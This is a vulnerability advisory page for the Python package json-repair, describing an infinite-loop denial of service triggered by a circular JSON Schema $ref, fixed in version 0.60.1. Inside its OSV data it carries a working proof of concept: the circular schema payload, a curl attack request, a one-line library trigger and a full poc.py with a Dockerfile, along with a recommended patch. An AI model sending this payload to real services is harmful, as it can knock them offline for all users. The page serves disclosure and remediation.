Vulnerabilities in pkg:pypi/json-repair
PACKAGEGHSA-xf7x-x43h-rpqh is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')) affecting json_repair libraries in the PyPI ecosystem. The issue involves circular json schema `$ref` causes unbounded cpu dos. Remediation is available by upgrading affected packages to version 0.60.1.
pkg:pypi/json-repair
Vulnerability advisories affecting package pkg:pypi/json-repair. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-xf7x-x43h-rpqh | - | HIGH | json_repair: Circular JSON Schema `$ref` causes unbounded CPU DoS |
GHSA-xf7x-x43h-rpqh at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix GHSA-xf7x-x43h-rpqh
To remediate this vulnerability, upgrade all affected json_repair dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install json-repair>=0.60.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show json-repair
How to Check if You Are Affected
To determine whether your Python environment is affected by GHSA-xf7x-x43h-rpqh, inspect your installed packages using pip:
pip show json-repair
Analyze the terminal output to locate any version of json_repair in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.60.1), your application is affected.
Note: The pip show json-repair command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop'), where the product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop. In json_repair, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-xf7x-x43h-rpqh Affected json_repair Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
json-repair
|
PyPI |
< 0.60.1
|
0.60.1
|
References
Frequently Asked Questions
What is GHSA-xf7x-x43h-rpqh?
Which json_repair versions are affected?
What version fixes GHSA-xf7x-x43h-rpqh?
Is json-repair affected?
What is the CVSS score of GHSA-xf7x-x43h-rpqh?
What CWE is associated with GHSA-xf7x-x43h-rpqh?
How can I check PyPI dependencies for GHSA-xf7x-x43h-rpqh?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-xf7x-x43h-rpqh",
"modified" : "2026-07-13T23:41:39Z",
"published" : "2026-07-13T23:41:39Z",
"aliases" : [ ],
"summary" : "json_repair: Circular JSON Schema `$ref` causes unbounded CPU DoS",
"details" : "## Circular JSON Schema `$ref` causes unbounded CPU DoS in `json_repair`\n\n### Summary\n\n`SchemaRepairer.resolve_schema()` in `json_repair` follows JSON Schema `$ref` pointers in an unbounded `while` loop without any cycle detection. An attacker who can supply a schema containing a self-referencing `$ref` (e.g., via the demo Flask API or any application that passes untrusted input to `loads(..., schema=...)`), can cause a worker process to spin indefinitely on CPU, resulting in a complete denial of service. No authentication is required against the public demo API. The vulnerability is confirmed reproducible at CVSS 7.5 (High).\n\n### Details\n\n`SchemaRepairer.resolve_schema()` at `src/json_repair/schema_repair.py:184–190` resolves `$ref` chains using a plain `while` loop:\n\n```python\n# src/json_repair/schema_repair.py:184-190\nschema_dict = cast(\"dict[str, Any]\", schema)\nwhile \"$ref\" in schema_dict:\n ref = schema_dict[\"$ref\"]\n resolved = self._resolve_ref(ref)\n if isinstance(resolved, bool):\n return resolved\n schema_dict = resolved\n```\n\n`_resolve_ref()` at `src/json_repair/schema_repair.py:654–665` always resolves references relative to `self.root_schema`, which is initialised from the caller-supplied schema (`src/json_repair/schema_repair.py:130`). When the schema contains a circular reference such as:\n\n```json\n{\"$ref\": \"#/definitions/a\", \"definitions\": {\"a\": {\"$ref\": \"#/definitions/a\"}}}\n```\n\n`_resolve_ref()` returns the same `dict` object on every iteration, so `\"$ref\" in schema_dict` is always `True` and the loop never terminates.\n\nThe vulnerable sink is reachable without authentication through the demo Flask API:\n\n```python\n# docs/app.py:14, 21-36\ndata = request.get_json()\nschema = data.get(\"schema\")\nif schema is not None and not isinstance(schema, (dict, bool)):\n raise ValueError(\"schema must be a JSON object or boolean.\")\n...\nif schema is not None:\n loads_kwargs[\"schema\"] = schema\nparsed_json = loads(malformed_json, **loads_kwargs)\n```\n\nThe only guard is a top-level `isinstance(dict, bool)` check; there is no `$ref` depth limit, no visited-set, and no timeout enforced by the library. The full data-flow path is:\n\n1. `docs/app.py:14` — `request.get_json()` reads the attacker-controlled HTTP body.\n2. `docs/app.py:21–23` — `schema` is extracted; only `dict`/`bool` type check applied.\n3. `docs/app.py:33–36` — schema is forwarded verbatim to `loads()`.\n4. `src/json_repair/json_repair.py:145–148` — `schema_from_input(schema)` instantiates `SchemaRepairer`.\n5. `src/json_repair/json_repair.py:160` — `repairer.is_valid()` calls `resolve_schema()`, triggering the infinite loop.\n6. `src/json_repair/schema_repair.py:184–190` — unbounded `while \"$ref\" in schema_dict` loop (sink).\n7. `src/json_repair/schema_repair.py:654–665` — `_resolve_ref()` returns the same object on every call.\n\n**Recommended fix:**\n\n```diff\n--- a/src/json_repair/schema_repair.py\n+++ b/src/json_repair/schema_repair.py\n def resolve_schema(self, schema: object | None) -> dict[str, Any] | bool:\n ...\n- schema_dict = cast(\"dict[str, Any]\", schema)\n+ schema_dict = cast(\"dict[str, Any]\", schema)\n+ seen_schema_ids: set[int] = set()\n while \"$ref\" in schema_dict:\n ref = schema_dict[\"$ref\"]\n+ if not isinstance(ref, str):\n+ raise SchemaDefinitionError(\"$ref must be a string.\")\n+ schema_id = id(schema_dict)\n+ if schema_id in seen_schema_ids:\n+ raise SchemaDefinitionError(f\"Circular $ref detected: {ref}\")\n+ seen_schema_ids.add(schema_id)\n resolved = self._resolve_ref(ref)\n if isinstance(resolved, bool):\n return resolved\n schema_dict = resolved\n return schema_dict\n```\n\n### PoC\n\n**Environment setup:**\n\n```bash\n# Clone the affected version\ngit clone https://github.com/mangiucugna/json_repair.git\ngit -C json_repair checkout 0015c74c01bdafe4bb7435780657501741c2a5f7\n\n# Install dependencies\npip install flask flask-cors jsonschema pydantic\npip install -e json_repair/\n\n# Start the demo API\nPYTHONPATH=json_repair/src flask --app json_repair/docs/app run --host=127.0.0.1 --port=5005\n```\n\n**Alternatively, use the provided Docker image:**\n\n```dockerfile\nFROM python:3.11-slim\nWORKDIR /app\nCOPY repo/ /app/repo/\nRUN pip install --no-cache-dir flask flask-cors jsonschema pydantic && \\\n pip install --no-cache-dir -e /app/repo/\nCOPY vuln-001/poc.py /app/poc.py\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n```bash\ndocker build -t vuln001-json-repair -f vuln-001/Dockerfile .\ndocker run --rm vuln001-json-repair\n```\n\n**HTTP attack request (demo API):**\n\n```bash\ntimeout 5 curl -sS -X POST http://127.0.0.1:5005/api/repair-json \\\n -H 'Content-Type: application/json' \\\n --data '{\"malformedJSON\":\"{}\",\"schema\":{\"$ref\":\"#/definitions/a\",\"definitions\":{\"a\":{\"$ref\":\"#/definitions/a\"}}}}'\n# Expected: no response before timeout; curl exits with code 124\n```\n\n**Direct library attack:**\n\n```bash\ntimeout 5 python3 - <<'PY'\nfrom json_repair import loads\nschema = {\"$ref\": \"#/definitions/a\", \"definitions\": {\"a\": {\"$ref\": \"#/definitions/a\"}}}\nprint(loads(\"{}\", schema=schema))\nPY\n# Expected: process killed after 5 s; exit code 124\n```\n\n**Observed results (from Docker-based dynamic reproduction):**\n\n- Baseline (valid schema `{\"type\":\"object\",\"properties\":{\"name\":{\"type\":\"string\"}}}`): completed in **0.261 s**.\n- Attack (circular `$ref` schema): **timed out after 5.01 s** — process killed; infinite loop confirmed.\n\n### Impact\n\nThis is an unauthenticated **denial-of-service** vulnerability. Any single HTTP request carrying a circular `$ref` schema hangs the Flask worker process indefinitely, making the service unavailable to all other users until the process is killed or the server is restarted. Because the public demo API (`docs/app.py`) accepts the `schema` field from the request body without authentication and passes it directly to `loads()`, remote attackers can exploit this with a trivial one-liner.\n\nBeyond the demo API, any application that exposes `json_repair.loads(..., schema=<user-controlled>)` to untrusted callers is equally affected. The vulnerability requires no special privileges, produces no useful output for the attacker (confidentiality and integrity are unaffected), and is deterministically reproducible.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\nWORKDIR /app\n\n# Copy the vulnerable json_repair repository (build context is the report root)\nCOPY repo/ /app/repo/\n\n# Install Flask demo API dependencies and schema extras\nRUN pip install --no-cache-dir \\\n flask \\\n flask-cors \\\n jsonschema \\\n pydantic && \\\n pip install --no-cache-dir -e /app/repo/\n\n# Copy the proof-of-concept script\nCOPY vuln-001/poc.py /app/poc.py\n\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Circular JSON Schema $ref causes unbounded CPU DoS\nCWE-835 — Loop with Unreachable Exit Condition\n\nAffected: json_repair <= 0.59.10 (commit 0015c74)\nSink: src/json_repair/schema_repair.py:185\n SchemaRepairer.resolve_schema() while loop follows $ref without cycle detection.\n\nAttack schema:\n {\"$ref\": \"#/definitions/a\", \"definitions\": {\"a\": {\"$ref\": \"#/definitions/a\"}}}\n\nWhen passed to loads(..., schema=<above>), resolve_schema() enters an infinite loop\nbecause _resolve_ref() always returns the same dict object from root_schema.\n\nVerdict logic:\n - Baseline (valid schema) must complete in < TIMEOUT seconds.\n - Attack (circular $ref) must still be running at TIMEOUT seconds.\n Both conditions together constitute deterministic proof of the vulnerability.\n\"\"\"\n\nimport os\nimport subprocess\nimport sys\nimport tempfile\nimport time\n\n# Seconds to wait before declaring the attack confirmed (infinite loop)\nTIMEOUT_SECONDS = 5\n\nCIRCULAR_SCHEMA = {\n \"$ref\": \"#/definitions/a\",\n \"definitions\": {\n \"a\": {\"$ref\": \"#/definitions/a\"}\n }\n}\n\nNORMAL_SCHEMA = {\n \"type\": \"object\",\n \"properties\": {\n \"name\": {\"type\": \"string\"}\n }\n}\n\n_RUNNER_TEMPLATE = \"\"\"\\\nimport sys\nsys.path.insert(0, '/app/repo/src')\nfrom json_repair import loads\nschema = {schema_repr}\nresult = loads('{{}}', schema=schema)\nprint(result)\n\"\"\"\n\n\ndef run_schema_test(schema: dict, timeout: int) -> tuple[bool, float, str]:\n \"\"\"\n Run json_repair loads() with the given schema in an isolated subprocess.\n\n Returns:\n timed_out (bool): True if the process was still running at `timeout` seconds.\n elapsed (float): Wall-clock seconds until completion or kill.\n output (str): stdout/stderr excerpt.\n \"\"\"\n script_content = _RUNNER_TEMPLATE.format(schema_repr=repr(schema))\n\n with tempfile.NamedTemporaryFile(mode=\"w\", suffix=\".py\", delete=False) as fh:\n fh.write(script_content)\n script_path = fh.name\n\n start = time.monotonic()\n try:\n proc = subprocess.run(\n [sys.executable, script_path],\n timeout=timeout,\n capture_output=True,\n text=True,\n )\n elapsed = time.monotonic() - start\n output = (proc.stdout.strip() or proc.stderr.strip())[:400]\n return False, elapsed, output\n except subprocess.TimeoutExpired:\n elapsed = time.monotonic() - start\n return True, elapsed, f\"[no output — process killed after {elapsed:.2f}s]\"\n finally:\n os.unlink(script_path)\n\n\ndef main() -> int:\n print(\"=\" * 64)\n print(\"VULN-001 PoC: Circular $ref JSON Schema DoS\")\n print(\"json_repair SchemaRepairer.resolve_schema() — CWE-835\")\n print(\"=\" * 64)\n\n # --- Test 1: baseline (must complete quickly) ---\n print(f\"\\n[TEST 1] Baseline — valid schema (expect completion < {TIMEOUT_SECONDS}s)\")\n timed_out_baseline, elapsed_baseline, output_baseline = run_schema_test(\n NORMAL_SCHEMA, TIMEOUT_SECONDS\n )\n if timed_out_baseline:\n print(f\" UNEXPECTED TIMEOUT after {elapsed_baseline:.2f}s — environment issue\")\n baseline_ok = False\n else:\n print(f\" COMPLETED in {elapsed_baseline:.3f}s -> {output_baseline}\")\n baseline_ok = True\n\n # --- Test 2: circular $ref attack (must time out) ---\n print(\n f\"\\n[TEST 2] Attack — circular $ref schema\"\n f\" (expect hang > {TIMEOUT_SECONDS}s)\"\n )\n print(f\" Schema: {CIRCULAR_SCHEMA}\")\n timed_out_attack, elapsed_attack, output_attack = run_schema_test(\n CIRCULAR_SCHEMA, TIMEOUT_SECONDS\n )\n if timed_out_attack:\n print(\n f\" TIMED OUT after {elapsed_attack:.2f}s \"\n f\"— infinite loop CONFIRMED (VULNERABLE)\"\n )\n attack_confirmed = True\n else:\n print(\n f\" Completed in {elapsed_attack:.3f}s -> {output_attack}\"\n f\"\\n (patched or not triggered — check installation)\"\n )\n attack_confirmed = False\n\n # --- Summary ---\n print(\"\\n\" + \"=\" * 64)\n if baseline_ok and attack_confirmed:\n print(\"VERDICT: PASS\")\n print(\" Normal schema : returned in under 1 s\")\n print(f\" Circular $ref : still running after {TIMEOUT_SECONDS}s (killed)\")\n print(\" Conclusion: resolve_schema() enters an unbounded loop on circular $ref.\")\n return 0\n elif not attack_confirmed:\n print(\"VERDICT: FAIL — circular $ref did not cause an infinite loop\")\n print(\" The library may already be patched in this build.\")\n return 2\n else:\n print(\"VERDICT: FAIL — baseline test failed; check the environment\")\n return 3\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "json-repair"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.60.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/mangiucugna/json_repair/security/advisories/GHSA-xf7x-x43h-rpqh"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/mangiucugna/json_repair"
}, {
"type" : "WEB",
"url" : "https://github.com/mangiucugna/json_repair/releases/tag/v0.60.1"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-835" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-13T23:41:39Z",
"nvd_published_at" : null
}
}